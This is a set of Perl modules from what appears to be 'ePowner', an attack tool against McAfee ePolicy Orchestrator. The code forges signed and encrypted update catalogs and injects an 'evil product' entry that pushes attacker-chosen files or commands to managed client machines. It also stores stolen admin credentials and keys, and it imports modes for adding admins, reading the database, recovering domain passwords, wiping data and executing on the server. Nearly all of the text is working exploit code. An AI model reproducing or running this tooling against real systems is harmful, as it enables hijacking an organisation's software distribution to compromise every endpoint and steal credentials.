200 | # HEADER SIZE PART 2
201 | $this->cheader_size( $mysize2 );
202 | $mysize += $this->sizefile($filename);
203 |
204 | # FILES
205 | $this->cfile_init( $this->sizefile($filename) , 0, $file);
206 | $this->cfile_uoffset( 0 );
207 |
208 | # WRITE
209 | open (OUT, ">$outfile") or die "$outfile: $!\n";
210 | #cheaderwrite
211 | print OUT $this->{'cheader'};
212 | print OUT $this->{'cfolder'};
213 | print OUT $this->{'cfile'};
214 | print OUT $this->{'cdata'};
215 |
216 | my $cabin='';
217 | open (IN, "$filename") or die "cab in: $!\n";
218 | read (IN,$cabin, -s IN);
219 |
220 | print OUT $cabin;
221 | close OUT;
222 | close IN;
223 | }
224 |
225 |
226 |
227 | 1;
228 |
--------------------------------------------------------------------------------
/Epowner/Cab/Helpers.pm:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl -w
2 | package Epowner::Cab::Cab;
3 |
4 | sub sizefile{
5 | my $this = shift;
6 | my $filename = shift;
7 | my $fs = -s $filename;
8 | return $fs;
9 | }
10 |
11 | sub number_of_datablocks {
12 | my $this = shift;
13 | my $filename = shift;
14 |
15 | my $size = $this->sizefile($filename);
16 |
17 | return int($size / 32768) + 1;
18 | }
19 |
20 |
21 |
22 | 1;
23 |
--------------------------------------------------------------------------------
/Epowner/Cab/Structs.pm:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl -w
2 |
3 | package Epowner::Cab::Cab;
4 |
5 |
6 |
7 | sub cheader_init {
8 | my $this = shift;
9 | my $nfolders = shift;
10 | my $nfiles = shift;
11 | my $flags = shift;
12 | my $setID = shift;
13 | my $cabID = shift;
14 |
15 | $this->{'cheader'} =
16 | "MSCF" . # sign
17 | "\x00\x00\x00\x00" . # res1
18 | "SIZE" . # size
19 | "\x00\x00\x00\x00" . # res2
20 | "OFFI" . # offsetfile
21 | "\x00\x00\x00\x00" . # res3
22 | "\x03" . # versionMIN
23 | "\x01" . # versionMAJ
24 | pack("v", $nfolders) . # nfolders
25 | pack("v", $nfiles) . # nfiles
26 | pack("v", $flags) . # flags
27 | pack("v", $setID) . # setID
28 | pack("v", $cabID) . # cabID
29 | "";
30 | return 1;
31 | }
32 |
33 |
34 | sub cheader_size {
35 | my $this = shift;
36 | my $size = shift;
37 | $size = pack("V", $size);
38 | $this->{'cheader'} =~ s/SIZE/$size/g;
39 | }
40 |
41 | sub cheader_offsetfiles {
42 | my $this = shift;
43 | my $offset = shift;
44 | $offset = pack("V", $offset);
45 | $this->{'cheader'} =~ s/OFFI/$offset/g;
46 | }
47 |
48 | sub cfolder_init {
49 |
50 | # dword offsetdata;
51 | # word ndatab;
52 | # word typecomp;
53 |
54 | my $this = shift;
55 | my $ndatab = shift;
56 |
57 | $this->{'cfolder'} =
58 | "OFDA" . # offsetdata
59 | pack("v", $ndatab) . # ndatab
60 | pack("v", 0) . # typecomp (-> 0 = no compr)
61 | "";
62 |
63 | }
64 | sub cfolder_offsetdata {
65 | my $this = shift;
66 | my $offset = shift;
67 | $offset = pack("V", $offset);
68 | $this->{'cfolder'} =~ s/OFDA/$offset/g;
69 | }
70 |
71 | sub cfile_init {
72 |
73 | #struct cfile
74 | #{
75 | # dword usize;
76 | # dword uoffset;
77 | # word index;
78 | # word date;
79 | # word time;
80 | # word fattr;
81 | # byte name[MAXSIZE];
82 | #};
83 |
84 |
85 | my $this = shift;
86 | my $usize = shift;
87 | my $index = shift;
88 | my $filename = shift;
89 |
90 | $this->{'cfile'} =
91 | pack("V", $usize) . # usize
92 | "UOFF" . # uoffset
93 | pack("v", $index) . # index
94 | "\x97\x41" . # date #97 41 d7 7b 20 00
95 | "\xd7\x7b" . # time
96 | "\x20\x00" . # fattr TODO
97 | $filename . # filename
98 | "\x00" . # nullbyte
99 | "";
100 |
101 | }
102 |
103 | sub cfile_uoffset {
104 | my $this = shift;
105 | my $offset = shift;
106 | $offset = pack("V", $offset);
107 | $this->{'cfile'} =~ s/UOFF/$offset/g;
108 | }
109 |
110 |
111 | sub cdata_init {
112 |
113 | #struct cdata
114 | #{
115 | # dword checksum;
116 | # word ncbytes;
117 | # word nubytes;
118 | #};
119 |
120 | my $this = shift;
121 | my $checksum = shift || 0;
122 |
123 | $this->{'cdata'} =
124 | pack("V", $checksum) . # checksum
125 | "NC" . # ncbytes
126 | "NU"; # nubytes
127 | }
128 |
129 | # set number of compressed bytes in datablock
130 | sub cdata_ncbytes {
131 | my $this = shift;
132 | my $ncbytes = shift;
133 | $ncbytes = pack("v", $ncbytes);
134 | $this->{'cdata'} =~ s/NC/$ncbytes/g;
135 | }
136 |
137 | # set number of uncompressed bytes in datablock
138 | sub cdata_nubytes {
139 | my $this = shift;
140 | my $nubytes = shift;
141 | $nubytes = pack("v", $nubytes);
142 | $this->{'cdata'} =~ s/NU/$nubytes/g;
143 | }
144 |
145 | 1;
146 |
--------------------------------------------------------------------------------
/Epowner/CabSign/CabSign.pm:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl -w
2 | package Epowner::CabSign::CabSign;
3 |
4 | #
5 | # Cabinet file signature ePolicy Orchestrator ONLY
6 | #
7 |
8 | use strict;
9 | use warnings;
10 |
11 | use Crypt::OpenSSL::RSA;
12 | use Crypt::OpenSSL::DSA;
13 | use Digest::SHA qw(sha1 sha256);
14 | use MIME::Base64;
15 |
16 | sub new{
17 | my $this = {};
18 |
19 | my ($class) = @_; # get the parameters
20 |
21 | $this->{'dsa_priv'} =''; # Perl DSA Object
22 | $this->{'dsa_pub'} =''; # key in string format
23 | $this->{'rsa_priv'} =''; # Perl RSA Object
24 | $this->{'rsa_pub_hash'} =''; # string
25 |
26 | $this->{'mcafee_tag'} = "McAfee ePolicy Orchestrator\x00";
27 |
28 | $this->{'cab_content'} = '';
29 | $this->{'cab_content_signed'} = '';
30 |
31 | bless $this, $class;
32 | return $this
33 | }
34 |
35 | sub read_cabfile {
36 |
37 | my $this = shift;
38 | my $filename = shift;
39 |
40 | if(not -e $filename){
41 | print "[-] ERROR (read_cabfile): file '$filename' not found\n";
42 | exit;
43 | }
44 |
45 | # Read Cabfile
46 | my $cab_content;
47 | open(FILE,$filename) || die "$filename: $!";
48 | read(FILE,$cab_content,-s FILE); # Suck in the whole file
49 | close(FILE);
50 |
51 | $this->{'cab_content'} = $cab_content;
52 |
53 | }
54 |
55 | sub write_cabfile_signed{
56 | my $this = shift;
57 | my $filename = shift;
58 |
59 | # Write Cabfile
60 | open(FILE,">$filename") || die "[-] ERROR (write_cabfile_signed): $filename: $!";
61 | print FILE $this->{'cab_content_signed'};
62 | close(FILE);
63 | }
64 |
65 | sub sign_cab {
66 |
67 | my $this = shift;
68 |
69 | my $cab_content = $this->{'cab_content'};
70 |
71 | # Add tags
72 | $cab_content =
73 | $cab_content .
74 | "\x2C\x00\x00\x00" .
75 | $this->{'mcafee_tag'} .
76 | "\x00" x 8 .
77 | "TFU\x00" .
78 | "\x9c\x01\x00\x00" .
79 | $this->{'dsa_pub'} ;
80 |
81 | # DSA Signature
82 | #==================
83 | #print " [+] Generating DSA Signature\n";
84 | my $hash_sha1 = sha1($cab_content );
85 |
86 | my $sig = $this->{'dsa_priv'}->do_sign($hash_sha1) or die " [-] ERROR: Wrong DSA parameters\n";
87 | my $sig_r = $sig->get_r();
88 | my $sig_s = $sig->get_s();
89 |
90 | # Create final DSA signature structure
91 | my $dsa_signature =
92 | pack("C", (4 + length($sig_r) + length($sig_s))) ."\x00\x00\x00" . # size of signature struct
93 | "\x00" . pack("C", length($sig_r) * 8) . $sig_r . # r_len + r
94 | "\x00" . pack("C", length($sig_s) * 8) . $sig_s ; # s_len + s
95 |
96 |
97 | # RSA Signature
98 | #==================
99 | $this->{'rsa_priv'}->use_sha256_hash();
100 | my $rsa_signature = $this->{'rsa_priv'}->sign($cab_content);
101 |
102 |
103 | # Signed cab file
104 | #=================
105 | my $cab_content_signed =
106 | $cab_content .
107 | $dsa_signature . # DSA Signature
108 | "\x2C\x00\x00\x00" .
109 | $this->{'rsa_pub_hash'} . # RSA PUB HASH
110 | pack("V", length($rsa_signature)) .
111 | $rsa_signature ;
112 |
113 | $this->{'cab_content_signed'} = $cab_content_signed;
114 | }
115 |
116 |
117 | sub load_dsa_pub_from_file {
118 | my $this = shift;
119 | my $filename = shift;
120 |
121 | if(not -e $filename){
122 | print "[-] ERROR (load_dsa_pub_from_file): file '$filename' not found\n";
123 | exit;
124 | }
125 |
126 | my $buf ='';
127 | open FILE, "$filename" or die "Couldn't open file: $!";
128 | while (){ $buf .= $_;}
129 | close FILE;
130 |
131 | $this->{'dsa_pub'} = $buf;
132 |
133 | }
134 |
135 |
136 | sub load_dsa_priv_from_file {
137 | my $this = shift;
138 | my $filename = shift;
139 |
140 | if(not -e $filename){
141 | print "[-] ERROR (load_dsa_priv_from_file): file '$filename' not found\n";
142 | exit;
143 | }
144 |
145 | my $buf ='';
146 | open FILE, "$filename" or die "Couldn't open file: $!";
147 | while (){ $buf .= $_;}
148 | close FILE;
149 |
150 |
151 | my @dsa_array = split(//,$buf);
152 | my ($dsa_p, $dsa_q, $dsa_g, $dsa_pub, $dsa_priv);
153 | # Extract p, q, g, priv and pub
154 | for(my $i=2;$i<130; $i++){ $dsa_p .= $dsa_array[$i] }
155 | for(my $i=132;$i<152; $i++){ $dsa_q .= $dsa_array[$i] }
156 | for(my $i=154;$i<282; $i++){ $dsa_g .= $dsa_array[$i] }
157 | for(my $i=284;$i<412; $i++){ $dsa_pub .= $dsa_array[$i] }
158 | for(my $i=415;$i<435; $i++){ $dsa_priv .= $dsa_array[$i] }
159 | # Create and set up DSA object
160 | $this->{'dsa_priv'} = Crypt::OpenSSL::DSA->new();;
161 | my $dsa_srv_priv = $this->{'dsa_priv'};
162 | $dsa_srv_priv->set_pub_key($dsa_pub);
163 | $dsa_srv_priv->set_priv_key($dsa_priv);
164 | $dsa_srv_priv->set_p($dsa_p);
165 | $dsa_srv_priv->set_q($dsa_q);
166 | $dsa_srv_priv->set_g($dsa_g);
167 |
168 | }
169 |
170 | sub load_rsa_priv_from_file {
171 | my $this = shift;
172 | my $filename = shift;
173 |
174 | if(not -e $filename){
175 | print "[-] ERROR (load_rsa_priv_from_file): file '$filename' not found\n";
176 | exit;
177 | }
178 |
179 | my $key_string;
180 | open(FILE,$filename) || die "$filename: $!";
181 | read(FILE,$key_string,-s FILE);
182 | close(FILE);
183 |
184 | $this->{'rsa_priv'} = Crypt::OpenSSL::RSA->new_private_key($key_string);;
185 | }
186 |
187 | sub load_rsa_pub_from_file {
188 | my $this = shift;
189 | my $filename = shift;
190 |
191 | if(not -e $filename){
192 | print "[-] ERROR (load_rsa_pub_from_file): file '$filename' not found\n";
193 | exit;
194 | }
195 |
196 | my $key_string;
197 | open(FILE,$filename) || die "$filename: $!";
198 | read(FILE,$key_string,-s FILE);
199 | close(FILE);
200 |
201 | my $hash = encode_base64(sha256($key_string), "");
202 |
203 | # save the hash
204 | $this->{'rsa_pub_hash'} = $hash;
205 |
206 | }
207 |
208 |
209 |
210 |
211 |
212 | 1;
213 |
--------------------------------------------------------------------------------
/Epowner/Catalog.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use Epowner::Cab::Cab;
4 | use Epowner::CabSign::CabSign;
5 |
6 | use File::Path;
7 | use Time::Piece;
8 |
9 | use strict;
10 | use warnings;
11 |
12 |
13 |
14 |
15 | #============================================================#
16 | # Catalog : From XML to Cab file #
17 | #============================================================#
18 | sub catalog_makecab {
19 |
20 | my $this = shift;
21 |
22 | my $xmlfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_xml_file} ;
23 | my $cabfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_cab_file} ;
24 |
25 | # Generate CAB file
26 | my $cab = Epowner::Cab::Cab->new($this->{lcab_path}, $this->{cabextract_path});
27 | $cab->makecab($xmlfile, $cabfile, 1);
28 | }
29 |
30 | #============================================================#
31 | # Catalog : From CAB to XML #
32 | #============================================================#
33 | sub catalog_extract {
34 |
35 | my $this = shift;
36 |
37 |
38 | my $xmlfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_xml_file} ;
39 | my $cabfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_signedcab_file} ;
40 |
41 | # Extract CAB file
42 | my $cab = Epowner::Cab::Cab->new($this->{lcab_path}, $this->{cabextract_path});
43 | $cab->extractcab($cabfile, $xmlfile);
44 | }
45 |
46 |
47 | #============================================================#
48 | # Catalog : Sign Cab file #
49 | #============================================================#
50 | sub catalog_signcab {
51 |
52 | my $this = shift;
53 |
54 | # filenames (catalog)
55 | my $cabfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_cab_file} ;
56 | my $signedcabfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_signedcab_file} ;
57 |
58 | # filename (keys)
59 | my $dsa_pub = $this->{catalog_dsa_folder} . '/' . $this->{catalog_dsa_pub_file} ;
60 | my $dsa_priv = $this->{catalog_dsa_folder} . '/' . $this->{catalog_dsa_priv_file} ;
61 | my $rsa_pub = $this->{catalog_rsa_folder} . '/' . $this->{catalog_rsa_pub_file} ;
62 | my $rsa_priv = $this->{catalog_rsa_folder} . '/' . $this->{catalog_rsa_priv_file} ;
63 |
64 |
65 | my $cabsign = Epowner::CabSign::CabSign->new;
66 |
67 | # Crypto keys
68 | $cabsign->load_dsa_pub_from_file( $dsa_pub);
69 | $cabsign->load_dsa_priv_from_file($dsa_priv);
70 | $cabsign->load_rsa_priv_from_file($rsa_priv);
71 | $cabsign->load_rsa_pub_from_file($rsa_pub);
72 |
73 | # sign CAB file
74 | $cabsign->read_cabfile($cabfile);
75 | $cabsign->sign_cab();
76 | $cabsign->write_cabfile_signed($signedcabfile);
77 |
78 | }
79 |
80 | #============================================================#
81 | # Catalog : From SignedCab to catalog.z #
82 | #============================================================#
83 | sub catalog_encrypt {
84 |
85 | my $this = shift;
86 |
87 | my $signedcab = $this->{catalog_tmp_folder} . '/' . $this->{catalog_signedcab_file} ;
88 | my $catalog_z = $this->{catalog_tmp_folder} . '/' . $this->{catalog_z_file} ;
89 |
90 | # Read Signed CAB
91 | my $buf ='';
92 | open FILE, "$signedcab" or die "Couldn't open $signedcab: $!";
93 | while (){ $buf .= $_; }
94 | close FILE;
95 |
96 | my $enc = mcafee_3des_encrypt(
97 | $buf, # to encrypt
98 | sha1_hex($this->{des3_symkey}) # 3DES key in hex
99 | );
100 |
101 | # Write
102 | open FILE, ">$catalog_z" or die "Couldn't open $catalog_z: $!";
103 | print FILE $enc;
104 | close FILE;
105 | }
106 |
107 |
108 | #============================================================#
109 | # Catalog : From catalog.z to Signed cab file #
110 | #============================================================#
111 | sub catalog_decrypt {
112 |
113 | my $this = shift;
114 |
115 | my $cab = $this->{catalog_tmp_folder} . '/' . $this->{catalog_signedcab_file} ;
116 | my $catalog_z = $this->{catalog_tmp_folder} . '/' . $this->{catalog_z_file} ;
117 |
118 | # Read catalog.z
119 | my $buf ='';
120 | open FILE, "$catalog_z" or die "Couldn't open $catalog_z: $!";
121 | while (){ $buf .= $_; }
122 | close FILE;
123 |
124 | my $dec = mcafee_3des_decrypt(
125 | $buf, # to decrypt
126 | sha1_hex($this->{des3_symkey}) # 3DES key in hex
127 | );
128 |
129 | # Write
130 | open FILE, ">$cab" or die "Couldn't open $cab: $!";
131 | print FILE $dec;
132 | close FILE;
133 | }
134 |
135 |
136 |
137 | #============================================================#
138 | # Catalog : Add a new product in catalog.xml #
139 | #============================================================#
140 | sub catalog_xml_add_product {
141 |
142 | my $this = shift;
143 | my $action = shift; #DEPLOY_FILE, DEPLOY_CMD or DEPLOY_CUSTOM
144 |
145 | my $evil_local_path;
146 | my $cmd;
147 | my $custom_folder;
148 | my $total_sizeKb =0;
149 |
150 | if($action eq DEPLOY_FILE){
151 | $evil_local_path = shift; # the file we want to deploy on clients
152 | # is evil file exists ?
153 | if(not -f $evil_local_path){
154 | print_err "[-] ERROR: (write_pkgcatalog_xml): file '$evil_local_path' not found\n";
155 | exit;
156 | }
157 | # get evil file size
158 | my $evil_size = -s $evil_local_path ;
159 | $total_sizeKb += int($evil_size / 1024);
160 | }elsif ($action eq DEPLOY_CMD){
161 | $cmd = shift;
162 | }elsif ($action eq DEPLOY_CUSTOM){
163 | $custom_folder = shift;
164 |
165 | # read custom folder dir
166 | opendir DIR, $custom_folder or die "[-] ERROR (catalog_xml_add_product): can't open '$custom_folder' directory\n";
167 | my @files = readdir(DIR);
168 | close DIR;
169 |
170 | # for each entry; add size in Kb
171 | foreach my $entry (@files){
172 | next if $entry =~ /^\.$|^\.\.$|^run.bat$/;
173 | my $size = -s $custom_folder . "/" .$entry ;
174 | $total_sizeKb += int($size / 1024);
175 | }
176 |
177 | }
178 |
179 | my $signing_key_hash = shift; # which RSA key are used to sign the CAB file
180 |
181 | my $magic = "dcdd61260ffc0b282979b0a0e2047e8dfcdb57d1"; # we use a tag in the new catalog.xml file to check if we already modified that file
182 | # during a previous session.
183 | # If we find that tag, we will first remove the previous Product from the list..
184 | # for your knowledge, this tag is equal to 'sha1(epowned)'
185 |
186 | # get run.bat file size
187 | my $run_size = -s $this->{deploy_run_bat} ;
188 | $total_sizeKb += int($run_size / 1024);
189 |
190 |
191 | # evil product info
192 | my $product_id = $this->{deploy_evil_product_id};
193 | my $product_name = lc($product_id);
194 |
195 | # evil product XML content
196 | my $product_xml_entry = << "EOF";
197 |
198 |
199 |
200 |
201 | foo.McS
202 | 84
203 | 1CAE83C1B4F3CE0
204 | 0DA7D44161661916B8E2F49CDC39C1543B7FDCE0
205 |
206 | $this->{deploy_evil_product_version}
207 | WNTW:4:0:4|WNTS:4:0:4|W2KW|W2KS|W2KAS|W2KDC|WXPW|WXPS|WXPHE|WVST|WVSTS|WNT7W
208 |
209 | $this->{deploy_evil_product_id}
210 | $product_name
211 |
212 |
213 | 20121007033624
214 | $product_name
215 | 1
216 | Install
217 | 0409
218 | $total_sizeKb
219 |
220 | $this->{deploy_evil_product_build}
221 |
222 | $signing_key_hash
223 |
224 |
225 |
226 | EOF
227 |
228 |
229 |
230 | # read current catalog XML file
231 | my $xml_file = $this->{catalog_tmp_folder} . "/" . $this->{catalog_xml_file};
232 | my $xml_content ='';
233 | open FILE, "$xml_file" or die "Couldn't open $xml_file for reading: $!";
234 | read (FILE, $xml_content, -s FILE);
235 | close FILE;
236 |
237 |
238 | # Extract Catalog version ()
239 | my $catalog_version = $xml_content;
240 | $catalog_version =~ s/\n//g;
241 | $catalog_version =~ s/\r//g;
242 | $catalog_version =~ s/.*.*/$1/;
243 | # catalog_version = 20130108020230
244 |
245 |
246 | #print "DEBUG: current version : $catalog_version \n";
247 |
248 | # Convert version to time and increment version
249 | my $time = Time::Piece->strptime($catalog_version, "%Y%m%d%H%M%S");
250 | $time++;
251 | my $catalog_version_new = $time->strftime("%Y%m%d%H%M%S");
252 |
253 | #print "DEBUG: new version : $catalog_version_new \n";
254 |
255 |
256 | # check if we already add a product in that catalog file (previous session)
257 | if($xml_content =~ /$magic/){
258 | print "[*] Previous evil product found in the catalog. Removing it ...\n";
259 |
260 | my $magic_pos_begin = index($xml_content, "");
261 | my $magic_pos_end = index($xml_content, "") + length("");
262 |
263 | $xml_content =
264 | substr($xml_content,0, $magic_pos_begin) . # before magic
265 | substr($xml_content,$magic_pos_end) ; # after magic
266 | }
267 |
268 |
269 | # find the first product in catalog.xml
270 | my $pos = index($xml_content, "");
271 |
272 | # create new catalog.xml content
273 | my $xml_content_new =
274 | "\n" . # new version
275 | $product_xml_entry . # our own ...
276 | substr($xml_content, $pos); # rest of the file
277 |
278 |
279 | # save the new catalog.xml
280 | open FILE, ">$xml_file" or die "Couldn't open $xml_file for writing: $!";
281 | print FILE $xml_content_new ;
282 | close FILE;
283 |
284 |
285 | # return the new catalog version
286 | return $catalog_version_new;
287 |
288 | }
289 |
290 |
291 | 1;
292 |
--------------------------------------------------------------------------------
/Epowner/Compress.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 |
4 | use IO::Uncompress::Inflate qw(inflate $InflateError) ;
5 | use IO::Compress::Deflate qw(deflate $DeflateError) ;
6 | use Archive::Zip qw( :ERROR_CODES :CONSTANTS );
7 | use Archive::Extract;
8 |
9 | use strict;
10 | use warnings;
11 |
12 |
13 | #============================================================#
14 | # Compress (Deflate) #
15 | #============================================================#
16 | sub compress_deflate {
17 | my $input = shift;
18 | my $data_compressed;
19 | deflate \$input => \$data_compressed or die "[-] ERROR (compress_deflate) :deflate failed: $DeflateError\n";
20 | #print "input len: " . length($input) . "\noutput len:" . length($data_compressed) . "\n";
21 |
22 | # Add ePo stuffs
23 | $data_compressed =
24 | pack("V", length($input)) . # len uncompreesed
25 | pack("V", length($data_compressed) ) . # len compressed
26 | $data_compressed ;
27 |
28 | return $data_compressed;
29 | }
30 |
31 | #============================================================#
32 | # Uncompress (inflate) #
33 | #============================================================#
34 | sub uncompress_inflate {
35 | my $input = shift;
36 | my $output;
37 | inflate \$input => \$output or die "[-] ERROR (uncompress_inflate) : inflate failed: $InflateError\n";
38 | return $output;
39 | }
40 |
41 |
42 | #============================================================#
43 | # Create a ZIp file recursively #
44 | #============================================================#
45 | sub compress_zip_tree {
46 | my $this = shift;
47 | my $folder = shift;
48 | my $zipfile = shift;
49 |
50 | my $zip = Archive::Zip->new();
51 |
52 | # Add a tree
53 | $zip->addTree($folder);
54 |
55 | # Save the Zip file
56 | unless ( $zip->writeToFileNamed($zipfile) == AZ_OK ) { die "[-] ERROR: (compress_zip_tree): can\'t write to '$zipfile'\n"; }
57 | }
58 |
59 |
60 | #============================================================#
61 | # Unzip a file #
62 | #============================================================#
63 | sub uncompress_zip {
64 | my $this = shift;
65 | my $zipfile = shift;
66 | my $dest_folder = shift;
67 |
68 | my $extractor = Archive::Extract->new( archive => $zipfile );
69 | $extractor->extract( to => $dest_folder);
70 | }
71 |
72 | 1;
73 |
--------------------------------------------------------------------------------
/Epowner/Config.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use strict;
4 | use warnings;
5 |
6 | #=================================
7 | # Config SAVE
8 | #=================================
9 |
10 | sub config_save {
11 | my $this = shift;
12 |
13 | my $file = $this->{config_file};
14 | my $dsa_agent = $this->{dsa_agent};
15 | my $agent_dsa_filename_private = $this->{config_file} . "_" . $this->{agent_dsa_filename_private};
16 |
17 | print "[*] Saving Agent and Server configuration\n" if $this->{verbose};
18 | print " [+] Agent/Server configuration saved to '$file' !\n" if $this->{verbose};
19 |
20 | # Save DSA key
21 | $dsa_agent->write_priv_key($agent_dsa_filename_private);
22 | print " [+] Agent PRIVATE dsa key saved to '$agent_dsa_filename_private' !\n" if $this->{verbose};
23 |
24 | $this->config_save_writefile();
25 |
26 | }
27 |
28 |
29 | sub config_save_seqnum_only {
30 | # Change of last minute. Only to avoid console output
31 | my $this = shift;
32 | $this->config_save_writefile();
33 | }
34 |
35 |
36 |
37 | sub config_save_writefile {
38 |
39 | my $this = shift;
40 |
41 | my $file = $this->{config_file};
42 | my $dsa_agent = $this->{dsa_agent};
43 | my $agent_dsa_filename_private = $this->{config_file} . "_" . $this->{agent_dsa_filename_private};
44 |
45 | # Create config file
46 | open (CONFIG, ">$file") or die "[-] ERROR config_save: Can't open configuration file '$file'. $!\n";
47 | print CONFIG << "EOF";
48 | #---------------------------------------------#
49 | # ePowner - Agent & Server configuration #
50 | #---------------------------------------------#
51 |
52 | # Server settings
53 | \$this->{server_host} = "$this->{server_host}";
54 | \$this->{server_port} = "$this->{server_port}";
55 | \$this->{server_pubkeyhash} = "$this->{server_pubkeyhash}";
56 | \$this->{server_is_dba} = $this->{server_is_dba};
57 | \$this->{srv_exec_mode} = $this->{srv_exec_mode};
58 | \$this->{srv_exec_priv} = $this->{srv_exec_priv};
59 | \$this->{server_servername} = "$this->{server_servername}";
60 | \$this->{server_mssql_whoami} = '$this->{server_mssql_whoami}';
61 | \$this->{server_db_folder} = '$this->{server_db_folder}';
62 | \$this->{server_install_folder} = '$this->{server_install_folder}';
63 | \$this->{server_tomcat_folder} = '$this->{server_tomcat_folder}';
64 | \$this->{server_apache_folder} = '$this->{server_apache_folder}';
65 |
66 | # Web Console admin account
67 | \$this->{admin_username} = "$this->{admin_username}";
68 | \$this->{admin_password} = "$this->{admin_password}";
69 |
70 | # Attacker agent settings
71 | \$this->{agent_hostname} = "$this->{agent_hostname}";
72 | \$this->{agent_ip} = "$this->{agent_ip}";
73 | \$this->{agent_mac} = "$this->{agent_mac}";
74 | \$this->{agent_guid} = "$this->{agent_guid}";
75 | \$this->{agent_seqnum} = $this->{agent_seqnum};
76 |
77 | # AES-128 Key (extracted from orion.keystore)
78 | \$this->{aes_symkey_keystore} = "$this->{aes_symkey_keystore}";
79 |
80 | # Various strings generated during --register
81 | \$this->{common_prefix} = "$this->{common_prefix}";
82 | \$this->{deploy_evil_product_id} = "$this->{deploy_evil_product_id}";
83 |
84 |
85 | # States
86 |
87 | \$this->{state_registered} = $this->{state_registered};
88 |
89 | # --srv-exec --setup-nondba already ran ?
90 | \$this->{state_exec_nondba_setup} = $this->{state_exec_nondba_setup};
91 |
92 | # --add-admin already ran ?
93 | \$this->{state_add_admin} = $this->{state_add_admin};
94 |
95 | # --cli-deploy used ?
96 | \$this->{state_cli_deploy} = $this->{state_cli_deploy};
97 |
98 | # End of file
99 | EOF
100 | close CONFIG;
101 |
102 | }
103 |
104 |
105 |
106 |
107 |
108 | #=================================
109 | # Config RESTORE
110 | #=================================
111 | sub config_restore {
112 |
113 | my $this = shift;
114 |
115 | my $file = $this->{config_file};
116 | my $dsa_agent = $this->{dsa_agent};
117 | my $agent_dsa_filename_private = $this->{config_file} . "_" . $this->{agent_dsa_filename_private};
118 |
119 |
120 | open (CONFIG, "$file") or die "[-] ERROR: Can't open configuration file '$file'. $!\n" .
121 | " Use '--register' parameter to register a new agent to the ePo server and then create\n" .
122 | " a new configuration file, or specify an alternate filename using '--config '\n";
123 | my $config = join "", ;
124 | close CONFIG;
125 | eval $config;
126 | die "Couldn't interpret the configuration file ($file) that was given.\nError details follow: $@\n" if $@;
127 |
128 | print "[*] Restoring Agent and Server configuration from '$file'\n" if $this->{verbose};
129 |
130 | # Load DSA priv key
131 | $this->{dsa_agent} = Crypt::OpenSSL::DSA->read_priv_key( $agent_dsa_filename_private );
132 | print " [+] Agent PRIVATE dsa key loaded from '$agent_dsa_filename_private' !\n" if $this->{verbose};
133 |
134 | # increment our seq num to be sure we use a value >= than the value expected by epo
135 | # if the code fails somewhere without saving the current seq number, our next requests
136 | # will be ignored by the ePo server (HTTP code 503 - Server Busy)
137 | #$this->{agent_seqnum}+=20;
138 |
139 | }
140 |
141 |
142 |
143 |
144 | 1;
145 |
--------------------------------------------------------------------------------
/Epowner/DSA.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use Crypt::OpenSSL::DSA;
4 | use Digest::SHA qw(sha1 sha1_hex);
5 |
6 | use strict;
7 | use warnings;
8 |
9 |
10 | #============================================================#
11 | # Create a McAfee DSA Signature #
12 | #============================================================#
13 | sub dsa_sign {
14 | my $buf = shift; # to encrypt
15 | my $dsa_priv = shift; # dsa object
16 |
17 | my $hash = sha1($buf);
18 | my $sig = $dsa_priv->do_sign($hash) or die " [-] ERROR: Wrong DSA parameters\n";
19 | my $sig_r = $sig->get_r();
20 | my $sig_s = $sig->get_s();
21 |
22 | # Create final signature structure
23 | my $signature =
24 | pack("C", (4 + length($sig_r) + length($sig_s))) ."\x00\x00\x00" . # size of signature struct
25 | "\x00" . pack("C", length($sig_r) * 8) . $sig_r . # r_len + r
26 | "\x00" . pack("C", length($sig_s) * 8) . $sig_s ; # s_len + s
27 |
28 | return $signature;
29 | }
30 |
31 |
32 | 1;
33 |
--------------------------------------------------------------------------------
/Epowner/Epo.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use strict;
4 | use warnings;
5 |
6 | use IO::Socket::SSL qw( SSL_VERIFY_NONE );
7 | use Crypt::OpenSSL::DSA;
8 | use Crypt::Rijndael;
9 |
10 |
11 | # some constanst values
12 | use base 'Exporter';
13 | use constant {
14 | DEPLOY_FILE => 0,
15 | DEPLOY_CMD => 1,
16 | DEPLOY_CUSTOM => 2,
17 | };
18 | our @EXPORT_OK = ('DEPLOY_FILE', 'DEPLOY_CMD', 'DEPLOY_CUSTOM');
19 | our %EXPORT_TAGS = ( constants => [ 'DEPLOY_FILE', 'DEPLOY_CMD', 'DEPLOY_CUSTOM' ] );
20 |
21 | # Various Epowner modules
22 | use Epowner::Config;
23 | use Epowner::Compress;
24 | use Epowner::Print;
25 | use Epowner::HTTP;
26 | use Epowner::StringsManipulation;
27 | use Epowner::Catalog;
28 | use Epowner::PkgCatalog;
29 | use Epowner::SQL;
30 |
31 | # Crypto
32 | use Epowner::DSA;
33 | use Epowner::RSA;
34 | use Epowner::3DES;
35 | use Epowner::AES;
36 |
37 | # Binary structures
38 | use Epowner::BuildStructFullProps;
39 | use Epowner::BuildStructRegister;
40 | use Epowner::BuildStructEvent;
41 |
42 | # Tomcat modules
43 | use Epowner::TomcatLogin;
44 | use Epowner::TomcatAutomaticResponses;
45 |
46 | # Epowner modes
47 | use Epowner::ModeCommon;
48 | use Epowner::ModeCheck;
49 | use Epowner::ModeRegister;
50 | use Epowner::ModeAddAdmin;
51 | use Epowner::ModeReadDB;
52 | use Epowner::ModeGatherInfo;
53 | use Epowner::ModeDomainPasswd;
54 | use Epowner::ModeWipe;
55 | use Epowner::ModeServerExec;
56 | use Epowner::ModeServerUpload;
57 | use Epowner::ModeClientDeploy;
58 | use Epowner::ModeSQL;
59 |
60 |
61 |
62 | sub new{
63 | my $this = {};
64 |
